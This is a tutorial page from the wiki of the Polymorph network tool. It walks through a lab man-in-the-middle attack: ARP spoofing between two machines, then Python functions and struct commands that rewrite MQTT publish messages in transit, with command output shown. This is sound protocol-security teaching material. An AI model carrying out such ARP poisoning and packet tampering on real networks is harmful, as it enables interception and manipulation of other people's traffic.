Skip to content

Case Study. Part 3: Structs

shramos edited this page Oct 1, 2020 · 1 revision

Structs

In the previous case study we have made an on-the-fly modification of ICMP network packets directed to the same machine (localhost). In this section, we are going to see another use case in which we will have two machines that exchange information through the MQTT network protocol and another machine with Polymorph installed. The aim of the exercise is to modify on the fly the information that is exchanged between the first two machines.

Setting up the environment

The environment used for the development of this case study is quite simple. On the one hand, we have two linux machines (192.168.71.130, 192.168.71.138) that will communicate through the MQTT protocol. In both machines we must install the utilities that allow us to make this communication:

sudo apt install mosquitto mosquitto-clients

On the other hand, we have the machine 192.168.71.131 that will have Polymorph installed and will be in charge of intercepting the communication between the other two and modifying on the fly the network traffic exchanged between them.

To test the communication by MQTT between the two machines (192.168.71.130, 192.168, 71, 138), from now on machine A and machine B, we open two terminals in machine A and we execute, on one hand, the command mosquitto that will activate the broker in charge of establishing the communications, and, on the other hand, the command mosquitto_sub -t test that will cause the machine to wait for messages directed to the topic test.

In the machine B we open a terminal and we execute the command mosquitto_pub -t test -m hello -h 192.168.71.130 that will cause the sending of the message hello to the machines subscribed under the topic test.

If all went well, machine A should have received the hello message. Our objective in this practical case will be to modify this message on the fly.

Intercepting communication between machine A and machine B

This practical case differs from the one presented in the previous section in that communication is not on the same machine but between two different machines. Therefore, in order for Polymorph to "see" the traffic exchanged between the two and modify it on the fly, we must intercept the communication. There are several ways of intercepting communication between two machines, one of the most common, and the one we are going to use in this practical case, is ARP poisoning. We can use this technique from Polymorph with the following command:

 ██████╗  ██████╗ ██╗  ██╗   ██╗███╗   ███╗ ██████╗ ██████╗ ██████╗ ██╗  ██╗
 ██╔══██╗██╔═══██╗██║  ╚██╗ ██╔╝████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║  ██║
 ██████╔╝██║   ██║██║   ╚████╔╝ ██╔████╔██║██║   ██║██████╔╝██████╔╝███████║
 ██╔═══╝ ██║   ██║██║    ╚██╔╝  ██║╚██╔╝██║██║   ██║██╔══██╗██╔═══╝ ██╔══██║
 ██║     ╚██████╔╝███████╗██║   ██║ ╚═╝ ██║╚██████╔╝██║  ██║██║     ██║  ██║
 ╚═╝      ╚═════╝ ╚══════╝╚═╝   ╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝
                                                < Santiago Hernandez Ramos >

PH > spoof -t 192.168.71.130 -g 192.168.71.138
[+] ARP spoofing started between 192.168.71.138 and 192.168.71.130

At this point, the network traffic exchanged between machines A and B passes through the machine on which Polymorph is installed (192.168.71.131), from now on machine C.

Modifying MQTT network packets on the fly

Once we are in the middle of the communication between machine A and machine B, the rest of the steps that we must follow are the same as those indicated in the previous case study. First we must capture a MQTT Publish network packet, which is the network packet that contains the message:

PH > capture -f mqtt 
[+] Waiting for packets...

(Press Ctr-C to exit)

[+] Parsing packet: 4
[+] Parsing complete!
PH:cap > s 
1 Template: ETH / IP / TCP / MQTT
2 Template: ETH / IP / TCP / MQTT
3 Template: ETH / IP / TCP / MQTT
4 Template: ETH / IP / TCP / MQTT

PH:cap > template 3 
PH:cap/t3 > s     

---[ ETH ]---
FT_ETHER dst          = 00:0c:29:72:3c:22
FT_ETHER src          = 00:0c:29:54:0d:00
FT_HEX type           = 0x800

---[ IP ]---
FT_BIN_BE version     = 4
FT_BIN_BE hdr_len     = 5
FT_HEX dsfield        = 0x2
FT_INT_BE len         = 65
FT_HEX id             = 0x8a44
FT_HEX flags          = 0x4000
FT_INT_BE ttl         = 64
FT_INT_BE proto       = 6
FT_HEX checksum       = 0xa013
FT_IPv4 src           = 192.168.71.138
FT_IPv4 addr          = 192.168.71.130

---[ TCP ]---
FT_INT_BE srcport     = 50286
FT_INT_BE dstport     = 1883
FT_HEX len            = 0x80
FT_HEX seq            = 0x7e4efe7b
FT_HEX ack            = 0x532c2b04
FT_BIN_BE flags       = 24
FT_INT_BE window_size_value= 229
FT_HEX checksum       = 0x98e2
FT_INT_BE urgent_pointer= 0
FT_BYTES options      = b'\x01\x01\x08\nP,\xc1\xa1\xe3\xf9\xb4;'
FT_BYTES payload      = b'0\x0b\x00\x04testhello'

---[ MQTT ]---
FT_HEX hdrflags       = 0x30
FT_INT_BE len         = 11
FT_INT_BE topic_len   = 4
FT_STRING topic       = test
FT_BYTES msg          = b'hello'

PH:cap/t3 > 

And then we must add the functions that are in charge of filtering and modifying on the fly this type of network packets:

def filter_mqtt_pub(packet):
    try:
        if packet["TCP"]["dstport"] == 1883:
            if packet["MQTT"]["hdrflags"] == "0x30":
                print("Topic:", packet["MQTT"]["topic"])
                print("Msg:", packet["MQTT"]["msg"])
                return packet
    except:
        return None
def mod_mqtt_pub(packet):
    packet['MQTT']['msg'] = b'hhhhh'
    print("New value inserted\n")
    return packet

After adding the functions, we execute the intercept command in Polymorph to wait for a network packet with these characteristics to be sent and make the modification on the fly.

If everything goes well, when we send the hello message again via MQTT between machine A and B, the modification will be made and machine B will receive the hhhhh message.

PH:cap/t3 > intercept
[*] Waiting for packets...

(Press Ctrl-C to exit)

Topic: test
Msg: b'hello'
New value inserted

Structs

So far, there is not much variation from the case study seen in previous sections. However, in the case of ICMP network packets, the data value was a fixed value that was always the same size, in this case, the msg field can be modified by the user and therefore its value is variable. This means that the value of the msg field received in the intercepted network packet in real time may differ from the one found in the generated template.

If we make a test with the exercise as we have it right now, and we modify the message sent by machine A to machine B so that it is hello how are you instead of hello:

mosquitto_pub -t test -m "hello how are you" -h 192.168.71.130

We will notice that Polymorph makes a modification, but does not modify the entire message:

santi@lubuntu:~$ mosquitto_sub -t test
hhhhh how are you

This is caused because the templates have static values that represent the position of the field in the network packet as a function of the captured network packet. In the captured network packet, the msg field received the value hello and therefore had a size of 5 bytes in that network packet.

To solve this type of problem, Polymorph implements the concept of struct. These structures allow us to declare expressions that reevaluate the size of fields in real time. The structs are associated with a field within a given layer within the template and require the name of the field to be recalculated, the beginning byte, and the expression that recalculates its size.

For our particular case of study, we can define a struct for the msg field in the following way:

PH:cap/t3 > layer mqtt                                                                  
PH:cap/t3/MQTT > struct -f msg -sb "70 + this.topic_len" -e "this.len - 2 - this.topic_len"
[+] Struct added to field msg

PH:cap/t3/MQTT >                  

We can test if the struct has been created correctly with the struct -t msg command, which should return the value of the msg field in the template.

PH:cap/t3/MQTT > struct -t msg 
b'hello' 

Once this struct is added, the msg field of the network packets intercepted in real time will be recalculated on the fly in the manner indicated before any action is taken on it.

It must be taken into account that if the original value is greater than the value inserted on the fly, we must recalculate other control fields of the packet, such as the len field of the IP layer or the len field of the MQTT layer.

The new function mod_mqtt_pub would be the following:

def mod_mqtt_pub(packet):
    # Calculating size difference
    orig_size = len(packet['MQTT']['msg'])
    new_value = b'hhhhh'
    diff = len(new_value) - orig_size
    # Inserting new values
    packet['MQTT']['msg'] = new_value
    packet['IP']['len'] += diff
    packet['MQTT']['len'] += diff
    print("New value inserted\n")
    return packet

Once this function has been modified, we execute the intercept command in Polymorph and generate the message hello how are you from machine A to machine B.

PH:cap/t3 > intercept
[*] Waiting for packets...

(Press Ctrl-C to exit)

Topic: test
Msg: b'hello how are you'
New value inserted

After the execution we can see how Polymorph has been able to interpret the new value of the msg field of the network packet intercepted on the fly and modify it to enter a smaller hhhhh value that corresponds to the one received by machine B.

santi@lubuntu:~$ mosquitto_sub -t test
hhhhh

To save the template we can use the command save -p mqtt_template.